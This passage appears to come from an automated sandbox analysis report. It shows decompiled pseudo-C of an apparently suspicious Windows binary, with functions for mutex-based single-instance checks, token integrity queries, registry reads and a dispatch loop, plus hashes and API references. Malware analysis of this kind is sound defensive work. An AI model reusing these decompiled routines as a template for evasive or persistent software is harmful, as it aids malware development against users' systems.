                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CloseCreateValue
                                                                                  • String ID:
                                                                                  • API String ID: 1818849710-0
                                                                                  • Opcode ID: c3d7bd13b1c55fd2c2606587d897121b5030b0c54157926224f237e57f71c859
                                                                                  • Instruction ID: dd6cb198155d771f9a2a210c08f5f80917348e14898462dbb4ebbbbb197d10e0
                                                                                  • Opcode Fuzzy Hash: c3d7bd13b1c55fd2c2606587d897121b5030b0c54157926224f237e57f71c859
                                                                                  • Instruction Fuzzy Hash: FDF0D03250122DBBDF215F95DC09DDB7F6DEF09251B004059FA0D96020D6328920DBD0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: <
                                                                                  • API String ID: 0-4251816714
                                                                                  • Opcode ID: 7f5ed576c845e489f44b642bc9f669e314d2d66d9b1e45e9847c83d63904450d
                                                                                  • Instruction ID: edc82022e4cc95a96b6373858bd0d4b6b7bd300f961521bc1b944dd856dbe0d8
                                                                                  • Opcode Fuzzy Hash: 7f5ed576c845e489f44b642bc9f669e314d2d66d9b1e45e9847c83d63904450d
                                                                                  • Instruction Fuzzy Hash: 97614DB1900219AFDB219FA4DC45EEF7FB8FF49750F10406AF509E7291DB7489408BA0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6489C(void* __eflags) {
                                                                                  				short _v6;
                                                                                  				short _v92;
                                                                                  				void* _t8;
                                                                                  				struct _SECURITY_ATTRIBUTES* _t11;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x7be, 0xf, 0x56,  &_v92);
                                                                                  				_v6 = 0;
                                                                                  				_t11 = 0;
                                                                                  				_t8 = CreateMutexW(0, 0,  &_v92); // executed
                                                                                  				 *0xb7d49c = _t8;
                                                                                  				if(_t8 != 0 && RtlGetLastWin32Error() == 0xb7) {
                                                                                  					_t11 = 1;
                                                                                  				}
                                                                                  				return _t11;
                                                                                  			}







                                                                                  0x00b648b5
                                                                                  0x00b648bf
                                                                                  0x00b648c3
                                                                                  0x00b648cb
                                                                                  0x00b648d1
                                                                                  0x00b648d8
                                                                                  0x00b648e7
                                                                                  0x00b648e7
                                                                                  0x00b648ee

                                                                                  APIs
                                                                                  • CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00B648CB
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B648DA
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CreateErrorLastMutexWin32
                                                                                  • String ID:
                                                                                  • API String ID: 682235734-0
                                                                                  • Opcode ID: 29e8f498e4260e8e0266f4843d9200d35e28914b3ec7f2cb8275a70d73f9e61a
                                                                                  • Instruction ID: a7fef04d0fc7060c52cf0fc56c89a218a6b2fcf7694aaaddbe5f70d908fbf4aa
                                                                                  • Opcode Fuzzy Hash: 29e8f498e4260e8e0266f4843d9200d35e28914b3ec7f2cb8275a70d73f9e61a
                                                                                  • Instruction Fuzzy Hash: 7BF0E562A0061867D7216BF89C06E9F7BECDF00B00F004065FE0DE3184EB6489448BE1
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 82%
                                                                                  			E00B6401A(void* _a4) {
                                                                                  				void _v8;
                                                                                  				void* _v12;
                                                                                  				long _v16;
                                                                                  				signed int _t17;
                                                                                  
                                                                                  				_v8 = _v8 & 0x00000000;
                                                                                  				if(OpenProcessToken(_a4, 8,  &_v12) != 0) {
                                                                                  					_t17 = GetTokenInformation(_v12, 0x12,  &_v8, 4,  &_v16); // executed
                                                                                  					asm("sbb eax, eax");
                                                                                  					_v8 = _v8 &  ~_t17;
                                                                                  					E00B63DB7(_v12); // executed
                                                                                  				}
                                                                                  				return _v8;
                                                                                  			}







                                                                                  0x00b64020
                                                                                  0x00b64035
                                                                                  0x00b64046
                                                                                  0x00b64051
                                                                                  0x00b64053
                                                                                  0x00b64056
                                                                                  0x00b6405b
                                                                                  0x00b64062

                                                                                  APIs
                                                                                  • OpenProcessToken.ADVAPI32(00000000,00000008,00000000,00B64BA2,00000000), ref: 00B6402D
                                                                                  • GetTokenInformation.KERNELBASE(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 00B64046
                                                                                    • Part of subcall function 00B63DB7: FindCloseChangeNotification.KERNEL32(00000000), ref: 00B63DC3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Token$ChangeCloseFindInformationNotificationOpenProcess
                                                                                  • String ID:
                                                                                  • API String ID: 3152771255-0
                                                                                  • Opcode ID: 48dc632385b8c046a22009dbf866d65962866d056fc4ce9a13d15f6b8cef804f
                                                                                  • Instruction ID: 5eeb91e4400e5c13ba57ee86556654129c1afda1aff703cb110c8b1081ce4b32
                                                                                  • Opcode Fuzzy Hash: 48dc632385b8c046a22009dbf866d65962866d056fc4ce9a13d15f6b8cef804f
                                                                                  • Instruction Fuzzy Hash: 78F01C7595010CFBDF00DBE0DD06FEDBBB8EB04702F5040A9BA04E2190DB749B58AB91
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 92%
                                                                                  			E00B6369D(void* __ebx, void* __edi, void* __eflags) {
                                                                                  				void* _t3;
                                                                                  				void* _t4;
                                                                                  				void* _t10;
                                                                                  				void* _t11;
                                                                                  				void* _t13;
                                                                                  				void* _t14;
                                                                                  
                                                                                  				_t14 = __eflags;
                                                                                  				_t13 = __edi;
                                                                                  				_t10 = __ebx;
                                                                                  				L00B66A4D(); // executed
                                                                                  				SetErrorMode(1); // executed
                                                                                  				_t3 = E00B6489C(_t14); // executed
                                                                                  				if(_t3 == 0) {
                                                                                  					_t4 = E00B61AC5(); // executed
                                                                                  					__eflags = _t4;
                                                                                  					if(_t4 != 0) {
                                                                                  						E00B66A52(GetCurrentProcessId());
                                                                                  						_pop(_t11); // executed
                                                                                  					}
                                                                                  					E00B64B7A(_t10, _t13); // executed
                                                                                  					_t3 = E00B62E25(_t10, _t11, __eflags);
                                                                                  				} else {
                                                                                  					E00B63EEF(0);
                                                                                  				}
                                                                                  				E00B66A4C(_t3);
                                                                                  				return 0;
                                                                                  			}









                                                                                  0x00b6369d
                                                                                  0x00b6369d
                                                                                  0x00b6369d
                                                                                  0x00b6369d
                                                                                  0x00b636a4
                                                                                  0x00b636aa
                                                                                  0x00b636b1
                                                                                  0x00b636bd
                                                                                  0x00b636c2
                                                                                  0x00b636c4
                                                                                  0x00b636cc
                                                                                  0x00b636d1
                                                                                  0x00b636d1
                                                                                  0x00b636d2
                                                                                  0x00b636d7
                                                                                  0x00b636b3
                                                                                  0x00b636b5
                                                                                  0x00b636ba
                                                                                  0x00b636dc
                                                                                  0x00b636e3

                                                                                  APIs
                                                                                  • SetErrorMode.KERNEL32(00000001,00B636ED,00000000), ref: 00B636A4
                                                                                    • Part of subcall function 00B6489C: CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00B648CB
                                                                                    • Part of subcall function 00B6489C: RtlGetLastWin32Error.NTDLL ref: 00B648DA
                                                                                  • GetCurrentProcessId.KERNEL32 ref: 00B636C6
                                                                                    • Part of subcall function 00B63EEF: ExitProcess.KERNEL32 ref: 00B63EF5
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ErrorProcess$CreateCurrentExitLastModeMutexWin32
                                                                                  • String ID:
                                                                                  • API String ID: 4743098-0
                                                                                  • Opcode ID: 4043dc8171e1a164a9068251e4e5ba80bd5f29311a072308ef5666c8e1d789fd
                                                                                  • Instruction ID: c856e7f08fda49836218ad6d528d8535475490c087ebee0e8ce01577315a1ee1
                                                                                  • Opcode Fuzzy Hash: 4043dc8171e1a164a9068251e4e5ba80bd5f29311a072308ef5666c8e1d789fd
                                                                                  • Instruction Fuzzy Hash: 08D05E1171A64025E224BBF4DD07B1E12C84F00F01F0484E8F506B4187DF2EC5405D32
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 70%
                                                                                  			E00B61CB0(void* __edx, void* __eflags, int* _a4) {
                                                                                  				char _v8;
                                                                                  				short _v12;
                                                                                  				char _v20;
                                                                                  				short _v24;
                                                                                  				char _v52;
                                                                                  				short _v54;
                                                                                  				char _v368;
                                                                                  				void* _t29;
                                                                                  				void* _t31;
                                                                                  				intOrPtr _t35;
                                                                                  				void* _t39;
                                                                                  				void* _t41;
                                                                                  				void* _t46;
                                                                                  				void* _t53;
                                                                                  				void* _t55;
                                                                                  				void* _t57;
                                                                                  				void* _t58;
                                                                                  				int* _t59;
                                                                                  				void* _t60;
                                                                                  				void* _t62;
                                                                                  				void* _t63;
                                                                                  
                                                                                  				_t58 = __edx;
                                                                                  				E00B64E03(0xb7c040, 0x55f, 4, 0x1c,  &_v52);
                                                                                  				_v24 = 0;
                                                                                  				E00B64E03(0xb7c040, 0x507, 0xb, 8,  &_v20);
                                                                                  				_t59 = _a4;
                                                                                  				_v12 = 0;
                                                                                  				_t29 = E00B647CE(0x80000002,  &_v52,  &_v20,  &_v8, _t59); // executed
                                                                                  				_t60 = _t29;
                                                                                  				_t63 = _t62 + 0x3c;
                                                                                  				if(_t60 != 0) {
                                                                                  					L2:
                                                                                  					if(_v8 == 3) {
                                                                                  						L8:
                                                                                  						return _t60;
                                                                                  					}
                                                                                  					L3:
                                                                                  					_t31 = E00B63C1E(0x20000); // executed
                                                                                  					_t55 = _t31;
                                                                                  					if(_t55 != 0) {
                                                                                  						E00B64E03(0xb7c040, 0x7ce, 0xd, 0x13a,  &_v368);
                                                                                  						_v54 = 0;
                                                                                  						_t35 =  *0xb7d708; // 0x3035688
                                                                                  						 *0xb7caa8(_t55, 0x20000,  &_v368, 0x102,  *0xb7d6f0,  *0xb7d6f4,  *0xb7d70c,  *0xb7d710,  *0xb7d714,  *0xb7d718,  *0xb7d71c,  *0xb7d720,  *0xb7d724,  *0xb7d728,  *0xb7d72c,  *0xb7d780,  *0xb7d730, _t35 + 2);
                                                                                  						_t39 = E00B65205(_t55);
                                                                                  						_t57 = _t59;
                                                                                  						_push(_t39 + _t39);
                                                                                  						_push(_t55);
                                                                                  						_push(0xb7c000); // executed
                                                                                  						_t41 = E00B65AE5(_t58); // executed
                                                                                  						_t60 = _t41;
                                                                                  						E00B63C6B(_t55);
                                                                                  						if(_t60 == 0) {
                                                                                  							goto L4;
                                                                                  						}
                                                                                  						_t46 = E00B6484C(_t57, 0x80000002,  &_v52,  &_v20, 3, _t60,  *_t59); // executed
                                                                                  						if(_t46 == 0) {
                                                                                  							E00B6484C(_t57, 0x80000001,  &_v52,  &_v20, 3, _t60,  *_t59);
                                                                                  						}
                                                                                  						goto L8;
                                                                                  					}
                                                                                  					L4:
                                                                                  					return 0;
                                                                                  				}
                                                                                  				_t53 = E00B647CE(0x80000001,  &_v52,  &_v20,  &_v8, _t59); // executed
                                                                                  				_t60 = _t53;
                                                                                  				_t63 = _t63 + 0x14;
                                                                                  				if(_t60 == 0) {
                                                                                  					goto L3;
                                                                                  				}
                                                                                  				goto L2;
                                                                                  			}
























                                                                                  0x00b61cb0
                                                                                  0x00b61ccf
                                                                                  0x00b61cd6
                                                                                  0x00b61ce8
                                                                                  0x00b61ced
                                                                                  0x00b61cf2
                                                                                  0x00b61d08
                                                                                  0x00b61d0d
                                                                                  0x00b61d0f
                                                                                  0x00b61d14
                                                                                  0x00b61d36
                                                                                  0x00b61d3a
                                                                                  0x00b61e4b
                                                                                  0x00000000
                                                                                  0x00b61e4b
                                                                                  0x00b61d40
                                                                                  0x00b61d46
                                                                                  0x00b61d4b
                                                                                  0x00b61d50
                                                                                  0x00b61d71
                                                                                  0x00b61d78
                                                                                  0x00b61d7c
                                                                                  0x00b61de1
                                                                                  0x00b61dec
                                                                                  0x00b61df1
                                                                                  0x00b61df4
                                                                                  0x00b61df5
                                                                                  0x00b61df6
                                                                                  0x00b61dfb
                                                                                  0x00b61e01
                                                                                  0x00b61e03
                                                                                  0x00b61e0d
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b61e25
                                                                                  0x00b61e2f
                                                                                  0x00b61e43
                                                                                  0x00b61e48
                                                                                  0x00000000
                                                                                  0x00b61e2f
                                                                                  0x00b61d52
                                                                                  0x00000000
                                                                                  0x00b61d52
                                                                                  0x00b61d28
                                                                                  0x00b61d2d
                                                                                  0x00b61d2f
                                                                                  0x00b61d34
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B647CE: RegOpenKeyExW.KERNEL32(0000000A,00000005,00000000,00000001,?,00B7C040,00000000,?,?,00B622A9,80000002,?,?,?,?,00B7C040), ref: 00B647E5
                                                                                    • Part of subcall function 00B647CE: RegQueryValueExW.KERNEL32(?,000003A9,00000000,00B7C040,00000000,?,80000002,?,?,00B622A9,80000002,?,?,?,?,00B7C040), ref: 00B647FF
                                                                                    • Part of subcall function 00B647CE: RegQueryValueExW.KERNEL32(?,000003A9,00000000,00B7C040,00000000,?,?,?,00B622A9,80000002,?,?,?,?,00B7C040,000003A9), ref: 00B64827
                                                                                    • Part of subcall function 00B647CE: RegCloseKey.KERNEL32(?,?,?,00B622A9,80000002,?,?,?,?,00B7C040,000003A9,00000005,0000000A,?), ref: 00B6483D
                                                                                  • _snwprintf.NTDLL ref: 00B61DE1
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: QueryValue$CloseOpen_snwprintf
                                                                                  • String ID:
                                                                                  • API String ID: 775465768-0
                                                                                  • Opcode ID: 65132c3e20d4ab0a9f85ce0b08dc7673e40bafd36acacd00a61b2103a84626bc
                                                                                  • Instruction ID: 960b369dda6c49e96e1ce7f9ee9de03039497dbfb80096d972cb3d03816598d8
                                                                                  • Opcode Fuzzy Hash: 65132c3e20d4ab0a9f85ce0b08dc7673e40bafd36acacd00a61b2103a84626bc
                                                                                  • Instruction Fuzzy Hash: 13414F72940118BADB21ABD4DC42FFB77FCEF09750F0405A9FA08F7151EA259E5487A1
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 94%
                                                                                  			E00B6272E(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                                                                                  				short _v6;
                                                                                  				char _v12;
                                                                                  				short _v14;
                                                                                  				char _v40;
                                                                                  				short _v42;
                                                                                  				char _v80;
                                                                                  				intOrPtr _t32;
                                                                                  				intOrPtr _t34;
                                                                                  				intOrPtr _t36;
                                                                                  				signed int _t37;
                                                                                  				signed int _t44;
                                                                                  				long _t49;
                                                                                  				WCHAR* _t65;
                                                                                  				intOrPtr _t66;
                                                                                  				void* _t67;
                                                                                  
                                                                                  				_t64 = _a4;
                                                                                  				_t65 = E00B63C1E(2 + (E00B65205(_a4) +  *0xb7d77c) * 2);
                                                                                  				_t71 = _t65;
                                                                                  				if(_t65 == 0) {
                                                                                  					L3:
                                                                                  					_t66 = _a8;
                                                                                  					__eflags = _t66;
                                                                                  					if(_t66 == 0) {
                                                                                  						L9:
                                                                                  						__eflags = 1;
                                                                                  						return 1;
                                                                                  					}
                                                                                  					E00B6506A(_t64);
                                                                                  					E00B6506A(_t66);
                                                                                  					E00B64E03(0xb7c040, 0x68b, 7, 0x1a,  &_v40);
                                                                                  					_v14 = 0;
                                                                                  					E00B64E03(0xb7c040, 0x6b9, 0xb, 0x26,  &_v80);
                                                                                  					_v42 = 0;
                                                                                  					_t32 = E00B650FB(_t66,  &_v40);
                                                                                  					__eflags = _t32;
                                                                                  					if(_t32 == 0) {
                                                                                  						goto L9;
                                                                                  					}
                                                                                  					_t34 = E00B650FB(_t66,  &_v80);
                                                                                  					__eflags = _t34;
                                                                                  					if(_t34 == 0) {
                                                                                  						goto L9;
                                                                                  					}
                                                                                  					_t36 = E00B65262(_t64,  &_v40);
                                                                                  					__eflags = _t36;
                                                                                  					if(_t36 == 0) {
                                                                                  						_t37 = E00B6546B(0xb7d738, _t66);
                                                                                  						asm("sbb eax, eax");
                                                                                  						return  ~_t37 + 1;
                                                                                  					}
                                                                                  					E00B64E03(0xb7c040, 0x203, 7, 6,  &_v12);
                                                                                  					_v6 = 0;
                                                                                  					_t44 = E00B65262(_t64,  &_v12);
                                                                                  					asm("sbb eax, eax");
                                                                                  					return  ~( ~_t44);
                                                                                  				}
                                                                                  				E00B6515C(_t65, _t64);
                                                                                  				E00B65098(_t71, _t65,  *0xb7d734);
                                                                                  				_t67 = _t67 + 0x10;
                                                                                  				_t49 = GetFileAttributesW(_t65); // executed
                                                                                  				E00B63C6B(_t65);
                                                                                  				if((0 | _t49 != 0xffffffff) == 0) {
                                                                                  					goto L3;
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}


















                                                                                  0x00b62737
                                                                                  0x00b62753
                                                                                  0x00b62757
                                                                                  0x00b62759
                                                                                  0x00b62792
                                                                                  0x00b62792
                                                                                  0x00b62795
                                                                                  0x00b62797
                                                                                  0x00b62853
                                                                                  0x00b62855
                                                                                  0x00000000
                                                                                  0x00b62855
                                                                                  0x00b6279e
                                                                                  0x00b627a4
                                                                                  0x00b627bc
                                                                                  0x00b627c3
                                                                                  0x00b627d5
                                                                                  0x00b627dc
                                                                                  0x00b627e5
                                                                                  0x00b627ed
                                                                                  0x00b627ef
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b627f6
                                                                                  0x00b627fd
                                                                                  0x00b627ff
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b62806
                                                                                  0x00b6280d
                                                                                  0x00b6280f
                                                                                  0x00b62845
                                                                                  0x00b6284d
                                                                                  0x00000000
                                                                                  0x00b62850
                                                                                  0x00b6281f
                                                                                  0x00b62826
                                                                                  0x00b6282f
                                                                                  0x00b62839
                                                                                  0x00000000
                                                                                  0x00b6283b
                                                                                  0x00b6275d
                                                                                  0x00b62769
                                                                                  0x00b6276e
                                                                                  0x00b62772
                                                                                  0x00b62781
                                                                                  0x00b62789
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000

                                                                                  APIs
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • GetFileAttributesW.KERNEL32(00000000), ref: 00B62772
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Heap$AttributesCreateFileProcess
                                                                                  • String ID:
                                                                                  • API String ID: 185973895-0
                                                                                  • Opcode ID: d27684e133aad72a6521bb3a70130bc3e59bf6b6f3e73cf3b39917dec484f747
                                                                                  • Instruction ID: 2c70159522fc35661af0227b8e89c85aa784dce2ab72ec3868f24ccdba2ed65d
                                                                                  • Opcode Fuzzy Hash: d27684e133aad72a6521bb3a70130bc3e59bf6b6f3e73cf3b39917dec484f747
                                                                                  • Instruction Fuzzy Hash: 7E31E472A04A197AE721ABB49C42EFF33ECDF05B50F0041A9FA04F61C1EE2DDE1142A5
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 91%
                                                                                  			E00B62C76(void* __edx, void* __eflags, intOrPtr _a4) {
                                                                                  				char _v8;
                                                                                  				char _v12;
                                                                                  				char _v16;
                                                                                  				void* __esi;
                                                                                  				intOrPtr _t15;
                                                                                  				long _t16;
                                                                                  				intOrPtr _t20;
                                                                                  				intOrPtr _t22;
                                                                                  				signed int _t23;
                                                                                  				intOrPtr _t27;
                                                                                  				void* _t36;
                                                                                  				void* _t37;
                                                                                  				intOrPtr _t38;
                                                                                  				void* _t39;
                                                                                  
                                                                                  				_t36 = __edx;
                                                                                  				E00B643C7(_t37, __eflags); // executed
                                                                                  				_t38 = _a4;
                                                                                  				while(1) {
                                                                                  					_t15 = E00B66197(_t38,  &_v12,  &_v16,  &_v8, 0xffffffff);
                                                                                  					_t39 = _t39 + 0x14;
                                                                                  					if( *0xb7d490 != 0) {
                                                                                  						break;
                                                                                  					}
                                                                                  					__eflags = _t15;
                                                                                  					if(_t15 == 0) {
                                                                                  						_t16 = RtlGetLastWin32Error();
                                                                                  						__eflags = _t16 - 0x26;
                                                                                  						if(_t16 == 0x26) {
                                                                                  							E00B6285D(_t38, _v8);
                                                                                  							goto L13;
                                                                                  						}
                                                                                  					} else {
                                                                                  						_push(0);
                                                                                  						E00B66265(_v8, _v12);
                                                                                  						_t35 = _v8;
                                                                                  						_t39 = _t39 + 0xc;
                                                                                  						_t20 =  *((intOrPtr*)(_v8 + 0x14c));
                                                                                  						__eflags = _t20;
                                                                                  						if(_t20 == 0) {
                                                                                  							E00B62B3A(_t38, _t35, 1); // executed
                                                                                  							goto L10;
                                                                                  						} else {
                                                                                  							_t22 = _t20 - 1;
                                                                                  							__eflags = _t22;
                                                                                  							if(__eflags == 0) {
                                                                                  								_t23 =  *0xb7d794; // 0x1
                                                                                  								asm("sbb eax, eax");
                                                                                  								E00B62D3C(_t36, __eflags, _t35, _v12,  ~_t23 & 0x00000002); // executed
                                                                                  								L10:
                                                                                  								_t39 = _t39 + 0xc;
                                                                                  							} else {
                                                                                  								_t27 = _t22 - 1;
                                                                                  								__eflags = _t27;
                                                                                  								if(_t27 == 0) {
                                                                                  									E00B62DA9(_t35, 3); // executed
                                                                                  									goto L13;
                                                                                  								} else {
                                                                                  									__eflags = _t27 - 1;
                                                                                  									if(__eflags == 0) {
                                                                                  										E00B62A54(__eflags, _t38, _t35); // executed
                                                                                  										L13:
                                                                                  									}
                                                                                  								}
                                                                                  							}
                                                                                  						}
                                                                                  					}
                                                                                  				}
                                                                                  				asm("lock dec dword [esi+0x8]");
                                                                                  				E00B6446F();
                                                                                  				return 0;
                                                                                  			}

















                                                                                  0x00b62c76
                                                                                  0x00b62c7d
                                                                                  0x00b62c82
                                                                                  0x00b62d06
                                                                                  0x00b62d15
                                                                                  0x00b62d1a
                                                                                  0x00b62d24
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b62c87
                                                                                  0x00b62c89
                                                                                  0x00b62cf1
                                                                                  0x00b62cf6
                                                                                  0x00b62cf9
                                                                                  0x00b62cff
                                                                                  0x00000000
                                                                                  0x00b62cff
                                                                                  0x00b62c8b
                                                                                  0x00b62c8b
                                                                                  0x00b62c93
                                                                                  0x00b62c98
                                                                                  0x00b62c9b
                                                                                  0x00b62ca4
                                                                                  0x00b62ca4
                                                                                  0x00b62ca7
                                                                                  0x00b62ce7
                                                                                  0x00000000
                                                                                  0x00b62ca9
                                                                                  0x00b62ca9
                                                                                  0x00b62ca9
                                                                                  0x00b62cac
                                                                                  0x00b62ccb
                                                                                  0x00b62cd2
                                                                                  0x00b62cdc
                                                                                  0x00b62cec
                                                                                  0x00b62cec
                                                                                  0x00b62cae
                                                                                  0x00b62cae
                                                                                  0x00b62cae
                                                                                  0x00b62cb1
                                                                                  0x00b62cc4
                                                                                  0x00000000
                                                                                  0x00b62cb3
                                                                                  0x00b62cb3
                                                                                  0x00b62cb6
                                                                                  0x00b62cba
                                                                                  0x00b62d04
                                                                                  0x00b62d05
                                                                                  0x00b62cb6
                                                                                  0x00b62cb1
                                                                                  0x00b62cac
                                                                                  0x00b62ca7
                                                                                  0x00b62c89
                                                                                  0x00b62d2a
                                                                                  0x00b62d2e
                                                                                  0x00b62d39

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Process$CompletionCurrentOpenQueuedStatus
                                                                                  • String ID:
                                                                                  • API String ID: 1990635249-0
                                                                                  • Opcode ID: 02c08f0647d0780d7839bab102a28128ec36b5d4e99141654d776efb1aa07742
                                                                                  • Instruction ID: a6f289a48848c659cdb949368cae8c3ee34cad1c2c615e8b22a9bb611ac7bbad
                                                                                  • Opcode Fuzzy Hash: 02c08f0647d0780d7839bab102a28128ec36b5d4e99141654d776efb1aa07742
                                                                                  • Instruction Fuzzy Hash: F611B972500809BAFB19AFA4CD47FEE77E8EF01300F1042F5F805A51A1DA3E9B519695
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 91%
                                                                                  			E00B6424E(void* __edx) {
                                                                                  				char _v8;
